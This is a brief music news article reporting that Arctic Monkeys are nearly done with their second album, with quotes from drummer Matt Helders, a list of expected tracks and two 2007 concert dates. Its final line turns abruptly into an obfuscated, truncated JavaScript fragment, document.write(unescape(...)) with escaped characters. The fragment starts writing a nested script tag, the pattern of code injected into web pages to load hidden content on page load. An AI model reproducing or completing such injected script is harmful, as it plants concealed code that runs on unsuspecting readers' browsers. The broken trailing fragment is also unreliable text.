Arctic Monkeys are nearing completion on their new album, they group have revealed.
The follow-up to the acclaimed debut "Whatever People Say I Am That's What I'm Not", this year's Mercury Prize winner, is understood to be almost complete.
The band, who announced details of two enormous summer 2007 shows at Lancashire County Cricket Club last week, describe the LP as "a step on".
Speaking about the record, drummer Matt Helders explained: "We've nearly finished. We've just been up to Liverpool to finish it off.
"We've been getting more help from our producers, Mike Crossey and James Ford from Simian Mobile Disco who we'd worked with before on B-sides. It's definitely different - a step on, I guess.
"We're all better at playing us instruments. It's as simple as that really. It's a bit louder and a bit faster in places but we've still got the slow bits as well," Helders told The Sun.
Among the tracks expected to feature on the LP are "D Is For Danger", "Plastic Tramp", "The Bakery Song", "Balaclava" and "This House Is A Circus".
Arctic Monkeys play the 50,000 capacity Lancashire's County Cricket Ground on July 28 and 29, 2007.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22